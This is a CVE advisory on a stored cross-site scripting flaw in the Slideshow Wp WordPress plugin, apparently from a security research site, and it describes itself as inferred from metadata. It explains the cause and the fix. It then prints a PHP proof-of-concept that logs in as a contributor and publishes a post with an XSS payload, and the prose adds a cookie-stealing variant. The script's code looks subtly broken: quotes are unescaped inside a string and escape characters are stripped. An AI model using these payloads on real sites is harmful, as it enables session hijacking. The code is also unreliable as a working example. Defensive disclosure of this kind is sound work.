Atomic Edge analysis of CVE-2026-1885 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Slideshow Wp WordPress plugin, affecting all versions up to and including 1.1. The vulnerability exists within the ‘sswp-slide’ shortcode’s ‘sswpid’ attribute, allowing attackers with contributor-level or higher privileges to inject malicious scripts that execute when a user views a compromised page. The CVSS score of 6.4 reflects its moderate severity, with network attack vector, low attack complexity, and scope change impact.
The root cause is insufficient input sanitization and output escaping on user-supplied shortcode attributes, classified as CWE-79. Atomic Edge research infers that the plugin’s shortcode handler function likely directly echoes the ‘sswpid’ attribute value into the page without proper escaping functions like esc_attr(). This inference is based on the CWE classification and the vulnerability description, which explicitly states insufficient sanitization and escaping. Without access to source code, this conclusion remains an educated assessment of the likely code pattern.
Exploitation requires an authenticated user with at least contributor-level permissions. The attacker creates or edits a post or page, inserting the vulnerable shortcode with a malicious payload in the ‘sswpid’ attribute. A typical payload would be: [sswp-slide sswpid=”1 onmouseover=alert(document.cookie)”]. The payload executes when any user, including administrators, views the compromised content. The attack vector is the WordPress editor, not a specific AJAX endpoint, making the payload delivery straightforward through normal content creation workflows.
Remediation requires implementing proper output escaping for all shortcode attributes. The plugin should use WordPress core escaping functions like esc_attr() when outputting the ‘sswpid’ attribute value within HTML tags. Additionally, input validation could restrict the attribute to expected data types, though output escaping remains the primary defense. A patch would involve modifying the shortcode callback function to escape attribute values before echoing them to the browser.
Successful exploitation allows attackers to execute arbitrary JavaScript in the context of any user viewing the injected page. This can lead to session hijacking by stealing cookies, performing actions as the victim user, defacing websites, or redirecting users to malicious sites. The scope change (S:C) in the CVSS vector indicates the vulnerability can affect components beyond the plugin’s security scope, potentially compromising the entire WordPress installation through administrative actions performed by hijacked sessions.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1885 - Slideshow Wp <= 1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'sswp-slide' Shortcode 'sswpid' Attribute
<?php
/**
* Proof of Concept for CVE-2026-1885
* This script demonstrates exploitation via WordPress post creation with malicious shortcode.
* Assumptions:
* 1. Target site has Slideshow Wp plugin <= 1.1 installed
* 2. Attacker has valid contributor-level credentials
* 3. Standard WordPress REST API endpoints are available
*/
$target_url = 'https://example.com'; // CHANGE THIS
$username = 'contributor'; // CHANGE THIS
$password = 'password'; // CHANGE THIS
// Payload: XSS via sswpid attribute
// This payload triggers on mouseover, but other events like onload could be used
$malicious_shortcode = '[sswp-slide sswpid="1 onmouseover=alert('XSS')"]';
$post_title = 'Test Post with XSS';
$post_content = "This post contains a malicious shortcode.nn{$malicious_shortcode}nnHover over the slideshow to trigger.";
// Step 1: Authenticate and get nonce via REST API
$auth_url = $target_url . '/wp-json/jwt-auth/v1/token';
$auth_data = array(
'username' => $username,
'password' => $password
);
$ch = curl_init($auth_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($auth_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
$auth_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code !== 200) {
echo "Authentication failed. Check credentials or JWT plugin availability.n";
exit;
}
$auth_data = json_decode($auth_response, true);
if (!isset($auth_data['token'])) {
echo "Token not received in authentication response.n";
exit;
}
$token = $auth_data['token'];
// Step 2: Create post with malicious shortcode
$post_url = $target_url . '/wp-json/wp/v2/posts';
$post_data = array(
'title' => $post_title,
'content' => $post_content,
'status' => 'publish'
);
$ch = curl_init($post_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'Authorization: Bearer ' . $token
));
$post_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code === 201) {
$post_result = json_decode($post_response, true);
echo "Success! Post created with ID: " . $post_result['id'] . "n";
echo "View at: " . $post_result['link'] . "n";
echo "Hover over the slideshow to execute the XSS payload.n";
} else {
echo "Post creation failed. HTTP Code: $http_coden";
echo "Response: $post_responsen";
}
?>
